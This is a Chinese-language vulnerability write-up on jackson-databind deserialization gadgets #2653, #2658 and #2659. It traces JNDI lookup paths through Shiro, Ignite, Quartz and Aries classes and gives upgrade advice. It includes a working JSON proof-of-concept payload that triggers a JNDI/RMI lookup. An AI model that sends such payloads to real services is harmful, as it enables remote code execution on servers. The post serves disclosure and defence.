jackson-databind #2653 #2658 #2659 反序列化漏洞分析(暂无cve

powered by UnicodeSec

不受影响的版本

jackson-databind >= 2.9.10.4
jackson-databind >= 2.10.0

如果你的业务中即存在jackson,并且开启了enableDefaultTypeing功能,又存在相关受影响的jar包,请更新jackson最新版。或者使用activatedefaulttyping代替enableDefaultTypeing

可以查询jackson的黑名单过滤列表,分析相关poc,在如下网址

https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed

#2653 shiro jndi注入

org.apache.shiro.jndi.JndiObjectFactory

该处代码如下

public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {

    private String resourceName;
    private Class<? extends T> requiredType;

    public T getInstance() {
        try {
            if(requiredType != null) {
                return requiredType.cast(this.lookup(resourceName, requiredType));
            } else {
                return (T) this.lookup(resourceName);
            }
        } catch (NamingException e) {
            final String typeName = requiredType != null ? requiredType.getName() : "object";
            throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
        }
    }
}

我们可以从JndiObjectFactory中看出,getInstance会调用lookup去查找rmi。如果存在requiredType,则转换为相关class,如果不存在就不会强转。JndiObjectFactory继承自JndiLocator,所以我们去JndiLocator的lookup函数继续分析,JndiLocator的lookup代码如下

    protected Object lookup(String jndiName, Class requiredType) throws NamingException {
        String convertedName = convertJndiName(jndiName);
        Object jndiObject;
        try {
            jndiObject = getJndiTemplate().lookup(convertedName, requiredType);
        }
//... 省略不相关代码
        return jndiObject;
    }

可以很清楚的看到,首先将jndiName转换,然后继续调用getJndiTemplate().lookup函数,getJndiTemplate().lookup的代码如下

    public Object lookup(String name, Class requiredType) throws NamingException {
        Object jndiObject = lookup(name);
        if (requiredType != null && !requiredType.isInstance(jndiObject)) {
            String msg = "Jndi object acquired under name '" + name + "' is of type [" +
                    jndiObject.getClass().getName() + "] and not assignable to the required type [" +
                    requiredType.getName() + "].";
            throw new NamingException(msg);
        }
        return jndiObject;
    }

首先调用lookup,然后根据用户传入的参数,将rmi远程获取的类强制转换为用户提供的requiredType类,假如requiredType为null,则不去强制转换。

lookup函数如下

    public Object lookup(final String name) throws NamingException {
        log.debug("Looking up JNDI object with name '{}'", name);
        return execute(new JndiCallback() {
            public Object doInContext(Context ctx) throws NamingException {
                Object located = ctx.lookup(name);
                if (located == null) {
                    throw new NameNotFoundException(
                            "JNDI object with [" + name + "] not found: JNDI implementation returned null");
                }
                return located;
            }
        });
    }

该处存在典型的jndi注入。用户可以控制lookup的name参数,可以访问恶意rmi服务器去获取带有恶意信息的类。

poc
["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"rmi://127.0.0.1:1099/aa"}]

org.apache.shiro.realm.jndi.JndiRealmFactory

首先查看org.apache.shiro.realm.jndi.JndiRealmFactory的代码

    public Collection<Realm> getRealms() throws IllegalStateException {
// ... 省略
        for (String name : jndiNames) {
            try {
                Realm realm = (Realm) lookup(name, Realm.class);
                realms.add(realm);
            } catch (Exception e) {
                throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
            }
        }
        return realms.isEmpty() ? null : realms;
    }

可以很明显看出,在getRealms函数中,会调用lookup去作为rmi的参数。而lookup函数,其实就是上一个gadget的lookup函数。poc与上一个类似。

#2658

该楼栋编号有三个gadget

  1. org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
  2. org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory
  3. org.quartz.utils.JNDIConnectionProvider

org.quartz.utils.JNDIConnectionProvider

在getConnection中存在rmi的lookup函数调用,并且该参数可以通过jackson在反序列化的时候设置

https://github.com/quartz-scheduler/quartz/blob/master/quartz-core/src/main/java/org/quartz/utils/JNDIConnectionProvider.java

        Context ctx = null;
        try {
            Object ds = this.datasource;

            if (ds == null || isAlwaysLookup()) {
                ctx = (props != null) ? new InitialContext(props): new InitialContext(); 

                ds = ctx.lookup(url);
                if (!isAlwaysLookup()) {
                    this.datasource = ds;
                }
            }

其他两个与该处gadget类似,故不再描述

#2659

该漏洞存在与org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 查看代码中是否存在rmi的lookup引用

https://www.javatips.net/api/aries-master/aries-trunk/transaction/transaction-jms/src/main/java/org/apache/aries/transaction/jms/internal/XaPooledConnectionFactory.java

    public TransactionManager getTransactionManager() {
        if (transactionManager == null && tmFromJndi) {
            try {
                transactionManager = (TransactionManager) new InitialContext().lookup(getTmJndiName());
            } catch (Throwable ignored) {
                if (LOG.isTraceEnabled()) {
                    LOG.trace("exception on tmFromJndi: " + getTmJndiName(), ignored);
                }
            }
        }
        return transactionManager;
    }

在getTransactionManager函数中调用rmi的lookup函数。可以通过jackson去注入恶意参数

posted @ 2020-03-17 15:15  potatso  阅读(1221)  评论(0编辑  收藏  举报